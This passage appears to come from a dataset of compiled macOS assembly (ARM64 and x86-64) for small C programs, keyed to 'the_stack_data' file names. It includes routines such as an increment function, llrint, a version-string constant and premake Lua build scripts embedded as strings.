imulq %rdx, %rsi
movq %rax, %rcx
addq %rsi, %rcx
movslq -24(%rbp), %rsi
movb $42, (%rcx,%rsi)
movslq -20(%rbp), %rcx
imulq %rdx, %rcx
addq %rcx, %rax
movslq -32(%rbp), %rcx
movb $42, (%rax,%rcx)
jmp LBB0_37
LBB0_21: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
cmpl -32(%rbp), %eax
jne LBB0_24
## %bb.22: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
movl -52(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB0_24
## %bb.23: ## in Loop: Header=BB0_1 Depth=1
movq -88(%rbp), %rax ## 8-byte Reload
movq -96(%rbp), %rdx ## 8-byte Reload
movslq -20(%rbp), %rsi
imulq %rdx, %rsi
movq %rax, %rcx
addq %rsi, %rcx
movl -24(%rbp), %esi
addl $1, %esi
movslq %esi, %rsi
movb $42, (%rcx,%rsi)
movslq -28(%rbp), %rcx
imulq %rdx, %rcx
addq %rcx, %rax
movl -32(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movb $42, (%rax,%rcx)
jmp LBB0_36
LBB0_24: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
cmpl -32(%rbp), %eax
jne LBB0_27
## %bb.25: ## in Loop: Header=BB0_1 Depth=1
movl -32(%rbp), %eax
movl -52(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jne LBB0_27
## %bb.26: ## in Loop: Header=BB0_1 Depth=1
movq -88(%rbp), %rax ## 8-byte Reload
movq -96(%rbp), %rdx ## 8-byte Reload
movslq -20(%rbp), %rsi
imulq %rdx, %rsi
movq %rax, %rcx
addq %rsi, %rcx
movl -24(%rbp), %esi
subl $1, %esi
movslq %esi, %rsi
movb $42, (%rcx,%rsi)
movslq -28(%rbp), %rcx
imulq %rdx, %rcx
addq %rcx, %rax
movl -32(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movb $42, (%rax,%rcx)
jmp LBB0_35
LBB0_27: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
cmpl -28(%rbp), %eax
jne LBB0_30
## %bb.28: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
movl -52(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB0_30
## %bb.29: ## in Loop: Header=BB0_1 Depth=1
movq -88(%rbp), %rax ## 8-byte Reload
movq -96(%rbp), %rdx ## 8-byte Reload
movl -20(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rsi
imulq %rdx, %rsi
movq %rax, %rcx
addq %rsi, %rcx
movslq -24(%rbp), %rsi
movb $42, (%rcx,%rsi)
movl -28(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
imulq %rdx, %rcx
addq %rcx, %rax
movslq -32(%rbp), %rcx
movb $42, (%rax,%rcx)
jmp LBB0_34
LBB0_30: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
cmpl -28(%rbp), %eax
jne LBB0_33
## %bb.31: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
movl -52(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jne LBB0_33
## %bb.32: ## in Loop: Header=BB0_1 Depth=1
movq -88(%rbp), %rax ## 8-byte Reload
movq -96(%rbp), %rdx ## 8-byte Reload
movl -20(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rsi
imulq %rdx, %rsi
movq %rax, %rcx
addq %rsi, %rcx
movslq -24(%rbp), %rsi
movb $42, (%rcx,%rsi)
movl -28(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
imulq %rdx, %rcx
addq %rcx, %rax
movslq -32(%rbp), %rcx
movb $42, (%rax,%rcx)
LBB0_33: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_34
LBB0_34: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_35
LBB0_35: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_36
LBB0_36: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_37
LBB0_37: ## in Loop: Header=BB0_1 Depth=1
movl $0, -40(%rbp)
LBB0_38: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -40(%rbp), %eax
cmpl -52(%rbp), %eax
jge LBB0_41
## %bb.39: ## in Loop: Header=BB0_38 Depth=2
movq -88(%rbp), %rsi ## 8-byte Reload
movq -96(%rbp), %rcx ## 8-byte Reload
movslq -40(%rbp), %rax
imulq %rcx, %rax
addq %rax, %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
## %bb.40: ## in Loop: Header=BB0_38 Depth=2
movl -40(%rbp), %eax
addl $1, %eax
movl %eax, -40(%rbp)
jmp LBB0_38
LBB0_41: ## in Loop: Header=BB0_1 Depth=1
movq -64(%rbp), %rax
movq %rax, %rsp
## %bb.42: ## in Loop: Header=BB0_1 Depth=1
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB0_1
LBB0_43:
movl -12(%rbp), %eax
movl %eax, -108(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_45
## %bb.44:
movl -108(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB0_45:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%s"
L_.str.2: ## @.str.2
.asciz "%s\n"
.subsections_via_symbols
| the_stack_data/734633.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _increment ; -- Begin function increment
.p2align 2
_increment: ; @increment
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
ldr x9, [sp, #8]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [sp, #16] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
str x0, [sp, #24] ; 8-byte Folded Spill
bl _scanf
ldr x0, [sp, #16] ; 8-byte Folded Reload
bl _increment
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
bl _printf
ldur w0, [x29, #-12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _increment ## -- Begin function increment
.p2align 4, 0x90
_increment: ## @increment
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movl (%rax), %ecx
addl $1, %ecx
movl %ecx, (%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
leaq -8(%rbp), %rdi
callq _increment
movl -8(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
.subsections_via_symbols
| the_stack_data/70450029.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__const
.globl _NimbleVersionString ; @NimbleVersionString
_NimbleVersionString:
.asciz "@(#)PROGRAM:Nimble PROJECT:Pods-1\n"
.globl _NimbleVersionNumber ; @NimbleVersionNumber
.p2align 3
_NimbleVersionNumber:
.quad 0x3ff0000000000000 ; double 1
.no_dead_strip _NimbleVersionString
.no_dead_strip _NimbleVersionNumber
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__const
.globl _NimbleVersionString ## @NimbleVersionString
.p2align 4
_NimbleVersionString:
.asciz "@(#)PROGRAM:Nimble PROJECT:Pods-1\n"
.globl _NimbleVersionNumber ## @NimbleVersionNumber
.p2align 3
_NimbleVersionNumber:
.quad 0x3ff0000000000000 ## double 1
.no_dead_strip _NimbleVersionString
.no_dead_strip _NimbleVersionNumber
.subsections_via_symbols
| the_stack_data/36074374.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _llrint ; -- Begin function llrint
.p2align 2
_llrint: ; @llrint
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintx d0, d0
fcvtzs x0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _llrint ## -- Begin function llrint
.p2align 4, 0x90
_llrint: ## @llrint
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -8(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
roundsd $4, %xmm0, %xmm0
cvttsd2si %xmm0, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/116615.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _a$b ; -- Begin function a$b
.p2align 2
_a$b: ; @"a$b"
.cfi_startproc
; %bb.0:
mov w0, #1
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
bl _a$b
subs w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
bl _abort
LBB1_2:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _a$b ## -- Begin function a$b
.p2align 4, 0x90
_a$b: ## @"a$b"
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $1, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
callq _a$b
cmpl $1, %eax
je LBB1_2
## %bb.1:
callq _abort
LBB1_2:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/121976.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/1216000.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "function os.executef(cmd, ...)\nlocal arg={...}\ncmd = string.format(cmd, table.unpack(arg))\nreturn os.execute(cmd)\nend\nlocal function parse_ld_so_conf(conf_file)\nlocal first, last\nlocal dirs = { }\nlocal file = io.open(conf_file)\nif file == nil then\nreturn dirs\nend\nfor line in file:lines() do\nfirst = line:find(\"#\", 1, true)\nif first ~= nil then\nline = line:sub(1, first - 1)\nend\nif line ~= \"\" then\nfirst, last = line:find(\"include%s+\")\nif first ~= nil then\nlocal include_glob = line:sub(last + 1)\nlocal includes = os.matchfiles(include_glob)\nfor _, v in ipairs(includes) do\ndirs = table.join(dirs, parse_ld_so_conf(v))\nend\nelse\ntable.insert(dirs, line)\nend\nend\nend\nreturn dirs\nend\nfunction os.findlib(libname)\nlocal path, formats\nif os.is(\"windows\") then\nformats = { \"%s.dll\", \"%s\" }\npath = os.getenv(\"PATH\")\nelse\nif os.is(\"macosx\") then\nformats = { \"lib%s.dylib\", \"%s.dylib\" }\npath = os.getenv(\"DYLD_LIBRARY_PATH\")\nelse\nformats = { \"lib%s.so\", \"%s.so\" }\npath = os.getenv(\"LD_LIBRARY_PATH\") or \"\"\nfor _, v in ipairs(parse_ld_so_conf(\"/etc/ld.so.conf\")) do\npath = path .. \":\" .. v\nend\nend\ntable.insert(formats, \"%s\")\npath = path or \"\"\nif os.is64bit() then\npath = path .. \":/lib64:/usr/lib64/:usr/local/lib64\"\nend\npath = path .. \":/lib:/usr/lib:/usr/local/lib\"\nend\nfor _, fmt in ipairs(formats) do\nlocal name = string.format(fmt, libname)\nlocal result = os.pathsearch(name, path)\nif result then return result end\nend\nend\nfunction os.get()\nreturn _OPTIONS.os or _OS\nend\nfunction os.is(id)\nreturn (os.get():lower() == id:lower())\nend\nlocal _64BitHostTypes = {\n\"x86_64\",\n\"ia64\",\n\"amd64\",\n\"ppc64\",\n\"powerpc64\",\n\"sparc64\"\n}\nfunction os.is64bit()\nif (os._is64bit()) then\nreturn true\nend\nlocal arch = \"\"\nif _OS == \"windows\" then\narch = os.getenv(\"PROCESSOR_ARCHITECTURE\")\nelseif _OS == \"macosx\" then\narch = os.outputof(\"echo $HOSTTYPE\")\nelse\narch = os.outputof(\"uname -m\")\nend\nif nil ~= arch then\narch = arch:lower()\nfor _, hosttype in ipairs(_64BitHostTypes) do\nif arch:find(hosttype) then\nreturn true\nend\nend\nend\nreturn false\nend\nlocal function domatch(result, mask, wantfiles)\nif mask:startswith(\"./\") then\nmask = mask:sub(3)\nend\nlocal basedir = mask\nlocal starpos = mask:find(\"%*\")\nif starpos then\nbasedir = basedir:sub(1, starpos - 1)\nend\nbasedir = path.getdirectory(basedir)\nif (basedir == \".\") then basedir = \"\" end\nlocal recurse = mask:find(\"**\", nil, true)\nmask = path.wildcards(mask)\nlocal function matchwalker(basedir)\nlocal wildcard = path.join(basedir, \"*\")\nlocal m = os.matchstart(wildcard)\nwhile (os.matchnext(m)) do\nlocal isfile = os.matchisfile(m)\nif ((wantfiles and isfile) or (not wantfiles and not isfile)) then\nlocal fname = path.join(basedir, os.matchname(m))\nif fname:match(mask) == fname then\ntable.insert(result, fname)\nend\nend\nend\nos.matchdone(m)\nif recurse then\nm = os.matchstart(wildcard)\nwhile (os.matchnext(m)) do\nif not os.matchisfile(m) then\nlocal dirname = os.matchname(m)\nmatchwalker(path.join(basedir, dirname))\nend\nend\nos.matchdone(m)\nend\nend\nmatchwalker(basedir)\nend\nfunction os.matchdirs(...)\nlocal arg={...}\nlocal result = { }\nfor _, mask in ipairs(arg) do\ndomatch(result, mask, false)\nend\nreturn result\nend\nfunction os.matchfiles(...)\nlocal arg={...}\nlocal result = { }\nfor _, mask in ipairs(arg) do\ndomatch(result, mask, true)\nend\nreturn result\nend\nlocal builtin_mkdir = os.mkdir\nfunction os.mkdir(p)\nlocal dir = iif(p:startswith(\"/\"), \"/\", \"\")\nfor part in p:gmatch(\"[^/]+\") do\ndir = dir .. part\nif (part ~= \"\" and not path.isabsolute(part) and not os.isdir(dir)) then\nlocal ok, err = builtin_mkdir(dir)\nif (not ok) then\nreturn nil, err\nend\nend\ndir = dir .. \"/\"\nend\nreturn true\nend\nfunction os.outputof(cmd)\nlocal pipe = io.popen(cmd)\nlocal result = pipe:read('*a')\npipe:close()\nreturn result\nend\nlocal builtin_rmdir = os.rmdir\nfunction os.rmdir(p)\nlocal dirs = os.matchdirs(p .. \"/*\")\nfor _, dname in ipairs(dirs) do\nos.rmdir(dname)\nend\nlocal files = os.matchfiles(p .. \"/*\")\nfor _, fname in ipairs(files) do\nos.remove(fname)\nend\nbuiltin_rmdir(p)\nend\n"
l_.str.1: ; @.str.1
.asciz "function path.getbasename(p)\nlocal name = path.getname(p)\nlocal i = name:findlast(\".\", true)\nif (i) then\nreturn name:sub(1, i - 1)\nelse\nreturn name\nend\nend\nfunction path.removeext(name)\nlocal i = name:findlast(\".\", true)\nif (i) then\nreturn name:sub(1, i - 1)\nelse\nreturn name\nend\nend\nfunction path.getdirectory(p)\nlocal i = p:findlast(\"/\", true)\nif (i) then\nif i > 1 then i = i - 1 end\nreturn p:sub(1, i)\nelse\nreturn \".\"\nend\nend\nfunction path.getdrive(p)\nlocal ch1 = p:sub(1,1)\nlocal ch2 = p:sub(2,2)\nif ch2 == \":\" then\nreturn ch1\nend\nend\nfunction path.getextension(p)\nlocal i = p:findlast(\".\", true)\nif (i) then\nreturn p:sub(i)\nelse\nreturn \"\"\nend\nend\nfunction path.getname(p)\nlocal i = p:findlast(\"[/\\\\]\")\nif (i) then\nreturn p:sub(i + 1)\nelse\nreturn p\nend\nend\nfunction path.getcommonbasedir(a, b)\na = path.getdirectory(a)..'/'\nb = path.getdirectory(b)..'/'\nlocal idx = 0\nwhile (true) do\nlocal tst = a:find('/', idx + 1, true)\nif tst then\nif a:sub(1,tst) == b:sub(1,tst) then\nidx = tst\nelse\nbreak\nend\nelse\nbreak\nend\nend\nlocal result = ''\nif idx > 1 then\nresult = a:sub(1, idx - 1)-- Remove the trailing slash to be consistent with other functions.\nend\nreturn result\nend\nfunction path.hasextension(fname, extensions)\nlocal fext = path.getextension(fname):lower()\nif type(extensions) == \"table\" then\nfor _, extension in pairs(extensions) do\nif fext == extension then\nreturn true\nend\nend\nreturn false\nelse\nreturn (fext == extensions)\nend\nend\nfunction path.iscfile(fname)\nreturn path.hasextension(fname, { \".c\", \".m\" })\nend\nfunction path.iscppfile(fname)\nreturn path.hasextension(fname, { \".cc\", \".cpp\", \".cxx\", \".c++\", \".c\", \".m\", \".mm\" })\nend\nfunction path.iscxfile(fname)\nreturn path.hasextension(fname, \".cx\")\nend\nfunction path.isobjcfile(fname)\nreturn path.hasextension(fname, { \".m\", \".mm\" })\nend\nfunction path.iscppheader(fname)\nreturn path.hasextension(fname, { \".h\", \".hh\", \".hpp\", \".hxx\" })\nend\nfunction path.isappxmanifest(fname)\nreturn path.hasextension(fname, \".appxmanifest\")\nend\nfunction path.isandroidbuildfile(fname)\nreturn path.getname(fname) == \"AndroidManifest.xml\"\nend\nfunction path.isnatvis(fname)\nreturn path.hasextension(fname, \".natvis\")\nend\nfunction path.isasmfile(fname)\nreturn path.hasextension(fname, { \".asm\", \".s\", \".S\" })\nend\nfunction path.isvalafile(fname)\nreturn path.hasextension(fname, \".vala\")\nend\nfunction path.isswiftfile(fname)\nreturn path.hasextension(fname, \".swift\")\nend\nfunction path.issourcefile(fname)\nreturn path.iscfile(fname)\nor path.iscppfile(fname)\nor path.iscxfile(fname)\nor path.isasmfile(fname)\nor path.isvalafile(fname)\nor path.isswiftfile(fname)\nend\nfunction path.issourcefilevs(fname)\nreturn path.hasextension(fname, { \".cc\", \".cpp\", \".cxx\", \".c++\", \".c\" })\nor path.iscxfile(fname)\nend\nfunction path.isobjectfile(fname)\nreturn path.hasextension(fname, { \".o\", \".obj\" })\nend\nfunction path.isresourcefile(fname)\nreturn path.hasextension(fname, \".rc\")\nend\nfunction path.isimagefile(fname)\nlocal extensions = { \".png\" }\nlocal ext = path.getextension(fname):lower()\nreturn table.contains(extensions, ext)\nend\nfunction path.join(...)\nlocal arg={...}\nlocal numargs = select(\"#\", ...)\nif numargs == 0 then\nreturn \"\";\nend\nlocal allparts = {}\nfor i = numargs, 1, -1 do\nlocal part = select(i, ...)\nif part and #part > 0 and part ~= \".\" then\nwhile part:endswith(\"/\") do\npart = part:sub(1, -2)\nend\ntable.insert(allparts, 1, part)\nif path.isabsolute(part) then\nbreak\nend\nend\nend\nreturn table.concat(allparts, \"/\")\nend\nfunction path.rebase(p, oldbase, newbase)\np = path.getabsolute(path.join(oldbase, p))\np = path.getrelative(newbase, p)\nreturn p\nend\nfunction path.translate(p, sep)\nif (type(p) == \"table\") then\nlocal result = { }\nfor _, value in ipairs(p) do\ntable.insert(result, path.translate(value))\nend\nreturn result\nelse\nif (not sep) then\nif (os.is(\"windows\")) then\nsep = \"\\\\\"\nelse\nsep = \"/\"\nend\nend\nlocal result = p:gsub(\"[/\\\\]\", sep)\nreturn result\nend\nend\nfunction path.wildcards(pattern)\npattern = pattern:gsub(\"([%+%.%-%^%$%(%)%%])\", \"%%%1\")\npattern = pattern:gsub(\"%*%*\", \"\\001\")\npattern = pattern:gsub(\"%*\", \"\\002\")\npattern = pattern:gsub(\"\\001\", \".*\")\npattern = pattern:gsub(\"\\002\", \"[^/]*\")\nreturn pattern\nend\nfunction path.trimdots(p)\nlocal changed\nrepeat\nchanged = true\nif p:startswith(\"./\") then\np = p:sub(3)\nelseif p:startswith(\"../\") then\np = p:sub(4)\nelse\nchanged = false\nend\nuntil not changed\nreturn p\nend\nfunction path.rebase(p, oldbase, newbase)\np = path.getabsolute(path.join(oldbase, p))\np = path.getrelative(newbase, p)\nreturn p\nend\nfunction path.replaceextension(p, newext)\nlocal ext = path.getextension(p)\nif not ext then\nreturn p\nend\nif #newext > 0 and not newext:findlast(\".\", true) then\nnewext = \".\"..newext\nend\nreturn p:match(\"^(.*)\"..ext..\"$\")..newext\nend\n"
l_.str.2: ; @.str.2
.asciz "function string.explode(s, pattern, plain)\nif (pattern == '') then return false end\nlocal pos = 0\nlocal arr = { }\nfor st,sp in function() return s:find(pattern, pos, plain) end do\ntable.insert(arr, s:sub(pos, st-1))\npos = sp + 1\nend\ntable.insert(arr, s:sub(pos))\nreturn arr\nend\nfunction string.findlast(s, pattern, plain)\nlocal curr = 0\nlocal term = nil\nrepeat\nlocal next, nextterm = s:find(pattern, curr + 1, plain)\nif (next) then\ncurr = next\nterm = nextterm\nend\nuntil (not next)\nif (curr > 0) then\nreturn curr, term\nend\nend\nfunction string.startswith(haystack, needle)\nreturn (haystack:find(needle, 1, true) == 1)\nend\nfunction string.trim(s)\nreturn (s:gsub(\"^%s*(.-)%s*$\", \"%1\"))\nend\n"
l_.str.3: ; @.str.3
.asciz "function table.contains(t, value)\nfor _, v in pairs(t) do\nif v == value then return true end\nend\nreturn false\nend\nfunction table.icontains(t, value)\nfor _, v in ipairs(t) do\nif v == value then return true end\nend\nreturn false\nend\nfunction table.deepcopy(object)\nlocal seen = {}\nlocal function copy(object)\nif type(object) ~= \"table\" then\nreturn object\nelseif seen[object] then\nreturn seen[object]\nend\nlocal clone = {}\nseen[object] = clone\nfor key, value in pairs(object) do\nclone[key] = copy(value)\nend\nsetmetatable(clone, getmetatable(object))\nreturn clone\nend\nreturn copy(object)\nend\nfunction table.extract(arr, fname)\nlocal result = { }\nfor _,v in ipairs(arr) do\ntable.insert(result, v[fname])\nend\nreturn result\nend\nfunction table.flatten(arr)\nlocal result = { }\nlocal function flatten(arr)\nfor _, v in ipairs(arr) do\nif type(v) == \"table\" then\nflatten(v)\nelse\ntable.insert(result, v)\nend\nend\nend\nflatten(arr)\nreturn result\nend\nfunction table.implode(arr, before, after, between)\nlocal result = \"\"\nfor _,v in ipairs(arr) do\nif (result ~= \"\" and between) then\nresult = result .. between\nend\nresult = result .. before .. v .. after\nend\nreturn result\nend\nfunction table.insertflat(tbl, values)\nif type(values) == \"table\" then\nfor _, value in ipairs(values) do\ntable.insertflat(tbl, value)\nend\nelse\ntable.insert(tbl, values)\nend\nend\nfunction table.isempty(t)\nreturn next(t) == nil\nend\nfunction table.join(...)\nlocal arg={...}\nlocal result = { }\nfor _,t in ipairs(arg) do\nif type(t) == \"table\" then\nfor _,v in ipairs(t) do\ntable.insert(result, v)\nend\nelse\ntable.insert(result, t)\nend\nend\nreturn result\nend\nfunction table.keys(tbl)\nlocal keys = {}\nfor k, _ in pairs(tbl) do\ntable.insert(keys, k)\nend\nreturn keys\nend\nfunction table.sortedpairs(t)\nlocal keys = table.keys(t)\nlocal i = 0\ntable.sort(keys)\nreturn function()\ni = i + 1\nif keys[i] == nil then\nreturn nil\nend\nreturn keys[i], t[keys[i]]\nend\nend\nfunction table.merge(...)\nlocal arg={...}\nlocal result = { }\nfor _,t in ipairs(arg) do\nif type(t) == \"table\" then\nfor k,v in pairs(t) do\nresult[k] = v\nend\nelse\nerror(\"invalid value\")\nend\nend\nreturn result\nend\nfunction table.translate(arr, translation)\nlocal result = { }\nfor _, value in ipairs(arr) do\nlocal tvalue\nif type(translation) == \"function\" then\ntvalue = translation(value)\nelse\ntvalue = translation[value]\nend\nif (tvalue) then\ntable.insert(result, tvalue)\nend\nend\nreturn result\nend\nfunction table.reverse(arr)\nfor i=1, math.floor(#arr / 2) do\narr[i], arr[#arr - i + 1] = arr[#arr - i + 1], arr[i]\nend\nreturn arr\nend\nfunction table.arglist(arg, value)\nif #value > 0 then\nlocal args = {}\nfor _, val in ipairs(value) do\ntable.insert(args, string.format(\"%s %s\", arg, val))\nend\nreturn table.concat(args, \" \")\nelse\nreturn \"\"\nend\nend\n"
l_.str.4: ; @.str.4
.asciz "io.eol = \"\\n\"\nio.indent = \"\\t\"\nio.indentLevel = 0\nlocal function _escaper(v) return v end\n_esc = _escaper\nfunction io.capture()\nlocal prev = io.captured\nio.captured = ''\nreturn prev\nend\nfunction io.endcapture(restore)\nlocal captured = io.captured\nio.captured = restore\nreturn captured\nend\nlocal builtin_open = io.open\nfunction io.open(fname, mode)\nif (mode) then\nif (mode:find(\"w\")) then\nlocal dir = path.getdirectory(fname)\nok, err = os.mkdir(dir)\nif (not ok) then\nerror(err, 0)\nend\nend\nend\nreturn builtin_open(fname, mode)\nend\nfunction io.printf(msg, ...)\nlocal arg={...}\nif not io.eol then\nio.eol = \"\\n\"\nend\nif not io.indent then\nio.indent = \"\\t\"\nend\nif type(msg) == \"number\" then\ns = string.rep(io.indent, msg) .. string.format(table.unpack(arg))\nelse\ns = string.format(msg, table.unpack(arg))\nend\nif io.captured then\nio.captured = io.captured .. s .. io.eol\nelse\nio.write(s)\nio.write(io.eol)\nend\nend\nfunction io.xprintf(msg, ...)\nlocal arg = {...}\nfor i = 1, #arg do\narg[i] = io.esc(arg[i])\nend\nio.printf(msg, unpack(arg))\nend\nfunction io.esc(value)\nif type(value) == \"table\" then\nlocal result = {}\nlocal n = #value\nfor i = 1, n do\ntable.insert(result, io.esc(value[i]))\nend\nreturn result\nend\nreturn _esc(value or \"\")\nend\nfunction io.escaper(func)\n_esc = func or _escaper\nend\n_p = io.printf\n_x = io.xprintf\n"
l_.str.5: ; @.str.5
.asciz "premake = { }\npremake.platforms =\n{\nNative =\n{\ncfgsuffix = \"\",\n},\nx32 =\n{\ncfgsuffix = \"32\",\n},\nx64 =\n{\ncfgsuffix = \"64\",\n},\nUniversal =\n{\ncfgsuffix = \"univ\",\n},\nUniversal32 =\n{\ncfgsuffix = \"univ32\",\n},\nUniversal64 =\n{\ncfgsuffix = \"univ64\",\n},\nPS3 =\n{\ncfgsuffix = \"ps3\",\niscrosscompiler = true,\nnosharedlibs = true,\nnamestyle = \"PS3\",\n},\nWiiDev =\n{\ncfgsuffix = \"wii\",\niscrosscompiler = true,\nnamestyle = \"PS3\",\n},\nXbox360 =\n{\ncfgsuffix = \"xbox360\",\niscrosscompiler = true,\nnamestyle = \"windows\",\n},\nPowerPC =\n{\ncfgsuffix = \"ppc\",\niscrosscompiler = true,\n},\nARM =\n{\ncfgsuffix = \"ARM\",\niscrosscompiler = true,\n},\nOrbis =\n{\ncfgsuffix = \"orbis\",\niscrosscompiler = true,\nnamestyle = \"Orbis\",\n},\nDurango =\n{\ncfgsuffix = \"durango\",\niscrosscompiler = true,\nnosharedlibs = true,\nnamestyle = \"windows\",\n},\nTegraAndroid =\n{\ncfgsuffix = \"tegraandroid\",\niscrosscompiler = true,\nnamestyle = \"TegraAndroid\",\n},\nNX32 =\n{\ncfgsuffix = \"nx32\",\niscrosscompiler = true,\nnamestyle = \"NX\",\n},\nNX64 =\n{\ncfgsuffix = \"nx64\",\niscrosscompiler = true,\nnamestyle = \"NX\",\n},\nEmscripten =\n{\ncfgsuffix = \"emscripten\",\niscrosscompiler = true,\nnosharedlibs = true,\nnamestyle = \"Emscripten\",\n},\n}\nlocal 